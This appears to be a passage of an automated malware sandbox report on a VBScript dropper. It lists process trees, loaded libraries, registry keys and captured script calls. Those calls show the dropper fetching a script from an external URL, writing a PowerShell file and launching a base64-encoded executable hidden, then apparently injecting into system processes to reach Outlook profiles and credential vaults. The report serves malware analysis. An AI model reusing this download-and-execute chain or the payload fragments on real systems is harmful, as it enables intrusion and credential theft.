Source: sxstrace.exe, 00000009.00000002.2791528045.00000000026D2000.00000004.00000020.00020000.00000000.sdmp, sxstrace.exe, 00000009.00000003.2089327897.00000000026B1000.00000004.00000020.00020000.00000000.sdmp, sxstrace.exe, 00000009.00000003.2091770957.00000000026DD000.00000004.00000020.00020000.00000000.sdmp, sxstrace.exe, 00000009.00000003.2089468596.00000000026D2000.00000004.00000020.00020000.00000000.sdmp, sxstrace.exe, 00000009.00000002.2791528045.0000000002700000.00000004.00000020.00020000.00000000.sdmp

Binary or memory string: CREATE TABLE password_notes (id INTEGER PRIMARY KEY AUTOINCREMENT, parent_id INTEGER NOT NULL REFERENCES logins ON UPDATE CASCADE ON DELETE CASCADE DEFERRABLE INITIALLY DEFERRED, key VARCHAR NOT NULL, value BLOB, date_created INTEGER NOT NULL, confidential INTEGER, UNIQUE (parent_id, key));

Source: unknown	Process created: C:\Windows\System32\wscript.exe C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\ADtours0121025.Vbs.vbs"
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoProfile -ExecutionPolicy RemoteSigned -File "C:\Temp\script.ps1"
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Users\user\AppData\Local\Temp\x.exe "C:\Users\user\AppData\Local\Temp\x.exe"
Source: C:\Users\user\AppData\Local\Temp\x.exe	Process created: C:\Windows\SysWOW64\svchost.exe "C:\Users\user\AppData\Local\Temp\x.exe"
Source: C:\Program Files (x86)\PQbcYrQgjllyaAkytkURpQHDtRvpRmgYcbZHlIRNMCsQED\XG4tzkOqVF.exe	Process created: C:\Windows\SysWOW64\sxstrace.exe "C:\Windows\SysWOW64\sxstrace.exe"
Source: C:\Windows\SysWOW64\sxstrace.exe	Process created: C:\Program Files\Mozilla Firefox\firefox.exe "C:\Program Files\Mozilla Firefox\Firefox.exe"
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoProfile -ExecutionPolicy RemoteSigned -File "C:\Temp\script.ps1"	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Users\user\AppData\Local\Temp\x.exe "C:\Users\user\AppData\Local\Temp\x.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x.exe	Process created: C:\Windows\SysWOW64\svchost.exe "C:\Users\user\AppData\Local\Temp\x.exe"	Jump to behavior
Source: C:\Program Files (x86)\PQbcYrQgjllyaAkytkURpQHDtRvpRmgYcbZHlIRNMCsQED\XG4tzkOqVF.exe	Process created: C:\Windows\SysWOW64\sxstrace.exe "C:\Windows\SysWOW64\sxstrace.exe"	Jump to behavior
Source: C:\Windows\SysWOW64\sxstrace.exe	Process created: C:\Program Files\Mozilla Firefox\firefox.exe "C:\Program Files\Mozilla Firefox\Firefox.exe"	Jump to behavior

Source: C:\Windows\System32\wscript.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sxs.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: vbscript.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: scrobj.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: scrrun.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: msxml3.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: mlang.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x.exe	Section loaded: wsock32.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\sxstrace.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Windows\SysWOW64\sxstrace.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\SysWOW64\sxstrace.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\SysWOW64\sxstrace.exe	Section loaded: ieframe.dll	Jump to behavior
Source: C:\Windows\SysWOW64\sxstrace.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\SysWOW64\sxstrace.exe	Section loaded: netapi32.dll	Jump to behavior
Source: C:\Windows\SysWOW64\sxstrace.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\SysWOW64\sxstrace.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\SysWOW64\sxstrace.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\sxstrace.exe	Section loaded: wkscli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\sxstrace.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\SysWOW64\sxstrace.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\sxstrace.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\SysWOW64\sxstrace.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\sxstrace.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\sxstrace.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Windows\SysWOW64\sxstrace.exe	Section loaded: mlang.dll	Jump to behavior
Source: C:\Windows\SysWOW64\sxstrace.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\SysWOW64\sxstrace.exe	Section loaded: winsqlite3.dll	Jump to behavior
Source: C:\Windows\SysWOW64\sxstrace.exe	Section loaded: vaultcli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\sxstrace.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\SysWOW64\sxstrace.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\sxstrace.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Program Files (x86)\PQbcYrQgjllyaAkytkURpQHDtRvpRmgYcbZHlIRNMCsQED\XG4tzkOqVF.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Program Files (x86)\PQbcYrQgjllyaAkytkURpQHDtRvpRmgYcbZHlIRNMCsQED\XG4tzkOqVF.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Program Files (x86)\PQbcYrQgjllyaAkytkURpQHDtRvpRmgYcbZHlIRNMCsQED\XG4tzkOqVF.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Program Files (x86)\PQbcYrQgjllyaAkytkURpQHDtRvpRmgYcbZHlIRNMCsQED\XG4tzkOqVF.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Program Files (x86)\PQbcYrQgjllyaAkytkURpQHDtRvpRmgYcbZHlIRNMCsQED\XG4tzkOqVF.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Program Files (x86)\PQbcYrQgjllyaAkytkURpQHDtRvpRmgYcbZHlIRNMCsQED\XG4tzkOqVF.exe	Section loaded: rasadhlp.dll	Jump to behavior

Source: C:\Windows\System32\wscript.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{B54F3741-5B07-11cf-A4B0-00AA004A55E8}\InprocServer32

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File opened: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorrc.dll

Jump to behavior

Source: C:\Windows\SysWOW64\sxstrace.exe

Key opened: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Office\15.0\Outlook\Profiles\Outlook\

Jump to behavior

Source:	Binary string: sxstrace.pdb source: svchost.exe, 00000006.00000003.1870509235.000000000342B000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000006.00000003.1869911314.000000000341A000.00000004.00000020.00020000.00000000.sdmp, XG4tzkOqVF.exe, 00000008.00000002.2792146522.0000000000BBE000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: sxstrace.pdbGCTL source: svchost.exe, 00000006.00000003.1870509235.000000000342B000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000006.00000003.1869911314.000000000341A000.00000004.00000020.00020000.00000000.sdmp, XG4tzkOqVF.exe, 00000008.00000002.2792146522.0000000000BBE000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: wntdll.pdbUGP source: x.exe, 00000005.00000003.1597519517.0000000003DC0000.00000004.00001000.00020000.00000000.sdmp, x.exe, 00000005.00000003.1593656042.0000000003C20000.00000004.00001000.00020000.00000000.sdmp, svchost.exe, 00000006.00000002.1901761142.0000000003A00000.00000040.00001000.00020000.00000000.sdmp, svchost.exe, 00000006.00000003.1806103739.0000000003800000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000006.00000003.1804262972.0000000003600000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000006.00000002.1901761142.0000000003B9E000.00000040.00001000.00020000.00000000.sdmp, sxstrace.exe, 00000009.00000003.1903491517.00000000041AC000.00000004.00000020.00020000.00000000.sdmp, sxstrace.exe, 00000009.00000002.2793216236.00000000044FE000.00000040.00001000.00020000.00000000.sdmp, sxstrace.exe, 00000009.00000002.2793216236.0000000004360000.00000040.00001000.00020000.00000000.sdmp, sxstrace.exe, 00000009.00000003.1901512105.0000000003FF6000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: wntdll.pdb source: x.exe, 00000005.00000003.1597519517.0000000003DC0000.00000004.00001000.00020000.00000000.sdmp, x.exe, 00000005.00000003.1593656042.0000000003C20000.00000004.00001000.00020000.00000000.sdmp, svchost.exe, svchost.exe, 00000006.00000002.1901761142.0000000003A00000.00000040.00001000.00020000.00000000.sdmp, svchost.exe, 00000006.00000003.1806103739.0000000003800000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000006.00000003.1804262972.0000000003600000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000006.00000002.1901761142.0000000003B9E000.00000040.00001000.00020000.00000000.sdmp, sxstrace.exe, 00000009.00000003.1903491517.00000000041AC000.00000004.00000020.00020000.00000000.sdmp, sxstrace.exe, 00000009.00000002.2793216236.00000000044FE000.00000040.00001000.00020000.00000000.sdmp, sxstrace.exe, 00000009.00000002.2793216236.0000000004360000.00000040.00001000.00020000.00000000.sdmp, sxstrace.exe, 00000009.00000003.1901512105.0000000003FF6000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: svchost.pdb source: sxstrace.exe, 00000009.00000002.2795073064.000000000498C000.00000004.10000000.00040000.00000000.sdmp, sxstrace.exe, 00000009.00000002.2791528045.0000000002653000.00000004.00000020.00020000.00000000.sdmp, XG4tzkOqVF.exe, 0000000C.00000002.2793198757.0000000002D3C000.00000004.00000001.00040000.00000000.sdmp, firefox.exe, 0000000E.00000002.2198864528.00000000364CC000.00000004.80000000.00040000.00000000.sdmp
Source:	Binary string: svchost.pdbUGP source: sxstrace.exe, 00000009.00000002.2795073064.000000000498C000.00000004.10000000.00040000.00000000.sdmp, sxstrace.exe, 00000009.00000002.2791528045.0000000002653000.00000004.00000020.00020000.00000000.sdmp, XG4tzkOqVF.exe, 0000000C.00000002.2793198757.0000000002D3C000.00000004.00000001.00040000.00000000.sdmp, firefox.exe, 0000000E.00000002.2198864528.00000000364CC000.00000004.80000000.00040000.00000000.sdmp
Source:	Binary string: C:\Work\JoeSecurity\trunk\src\windows\usermode\tools\FakeChrome\Release\Chrome.pdb source: XG4tzkOqVF.exe, 00000008.00000000.1822445409.00000000004BF000.00000002.00000001.01000000.00000009.sdmp, XG4tzkOqVF.exe, 0000000C.00000002.2790742701.00000000004BF000.00000002.00000001.01000000.00000009.sdmp

Data Obfuscation

VBScript performs obfuscated calls to suspicious functions

Source: C:\Windows\System32\wscript.exe

Anti Malware Scan Interface: CreateTextFile("C:\Temp\script.ps1", "true");IServerXMLHTTPRequest2.responseText();ITextStream.Write("$p=[IO.Path]::Combine($env:TEMP,"x.exe")[IO.File]::WriteAllBytes($p,[Convert]::FromBase64String("TVqQAAMAAAAEAAAA//8AALgAAAAAAAAAQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAACAEAAA4fug4AtAnNIbgBTM0hVGhpcyBwcm9ncmFtIGNhbm5vdC");ITextStream.Close();IFileSystem3.FolderExists("C:\Temp");IFileSystem3.CreateFolder("C:\Temp");IServerXMLHTTPRequest2.open("GET", "https://www.atc-secure.com/SMG411", "false");IServerXMLHTTPRequest2.send();IServerXMLHTTPRequest2.status();IFileSystem3.CreateTextFile("C:\Temp\script.ps1", "true");IServerXMLHTTPRequest2.responseText();ITextStream.Write("$p=[IO.Path]::Combine($env:TEMP,"x.exe")[IO.File]::WriteAllBytes($p,[Convert]::FromBase64String("TVqQAAMAAAAEAAAA//8AALgAAAAAAAAAQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAACAEAAA4fug4AtAnNIbgBTM0hVGhpcyBwcm9ncmFtIGNhbm5vdC");ITextStream.Close();IWshShell3.Run("PowerShell -NoProfile -ExecutionPolicy RemoteSigned -File "C:\Temp\script.", "0", "true")

Found suspicious powershell code related to unpacking or dynamic code loading

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Anti Malware Scan Interface: FromBase64String("TVqQAAMAAAAEAAAA//8AALgAAAAAAAAAQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAACAEAAA4fug4AtAnNIbgBTM0hVGhpcyBwcm9ncmFtIGNhbm5vdCBiZSBydW4gaW4gRE9TIG1vZGUuDQ0KJAAAAAAAAAD9ZMieuQWmzb

Source: C:\Users\user\AppData\Local\Temp\x.exe

Code function: 5_2_0028E01E LoadLibraryA,GetProcAddress,

5_2_0028E01E

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 3_2_00007FFB4AAB00BD pushad ; iretd	3_2_00007FFB4AAB00C1
Source: C:\Users\user\AppData\Local\Temp\x.exe	Code function: 5_2_0028288B push 66002823h; retn 002Eh	5_2_002828E1
Source: C:\Users\user\AppData\Local\Temp\x.exe	Code function: 5_2_00296B05 push ecx; ret	5_2_00296B18
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 6_2_0040886A push edi; ret	6_2_00408871
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 6_2_00405256 push FFFFFF8Bh; iretd	6_2_004052C4
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 6_2_00416A73 push ecx; retf	6_2_00416A9A
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 6_2_004052BB push FFFFFF8Bh; iretd	6_2_004052C4
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 6_2_004033F0 push eax; ret	6_2_004033F2
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 6_2_0040EBA5 pushad ; iretd	6_2_0040EBA8
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 6_2_0040AC72 pushad ; iretd	6_2_0040AC78
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 6_2_0040AC0F push ss; iretd	6_2_0040AC1F
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 6_2_0040D4A1 push 346DFDCFh; iretd	6_2_0040D4A6
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 6_2_0040D500 push eax; iretd	6_2_0040D501
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 6_2_00417D33 push edi; ret	6_2_00417D3C
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 6_2_00417D32 push edi; ret	6_2_00417D3C
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 6_2_0040D580 push esi; retf	6_2_0040D581
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 6_2_00413DB3 push esi; iretd	6_2_00413DBA
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 6_2_00416623 push ebp; ret	6_2_004166A9
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 6_2_00417725 push edx; iretd	6_2_00417741
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 6_2_03A309AD push ecx; mov dword ptr [esp], ecx	6_2_03A309B6

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File created: C:\Users\user\AppData\Local\Temp\x.exe

Jump to dropped file

Source: C:\Users\user\AppData\Local\Temp\x.exe	Code function: 5_2_002D8111 IsWindowVisible,IsWindowEnabled,GetForegroundWindow,IsIconic,IsZoomed,		5_2_002D8111
Source: C:\Users\user\AppData\Local\Temp\x.exe	Code function: 5_2_0028EB42 GetForegroundWindow,FindWindowW,IsIconic,ShowWindow,SetForegroundWindow,GetWindowThreadProcessId,GetWindowThreadProcessId,GetCurrentThreadId,GetWindowThreadProcessId,AttachThreadInput,AttachThreadInput,AttachThreadInput,AttachThreadInput,SetForegroundWindow,MapVirtualKeyW,MapVirtualKeyW,keybd_event,keybd_event,MapVirtualKeyW,keybd_event,MapVirtualKeyW,keybd_event,MapVirtualKeyW,keybd_event,SetForegroundWindow,AttachThreadInput,AttachThreadInput,AttachThreadInput,AttachThreadInput,		5_2_0028EB42

Source: C:\Users\user\AppData\Local\Temp\x.exe

Code function: 5_2_0029123A __initp_misc_winsig,GetModuleHandleW,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,

5_2_0029123A

Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
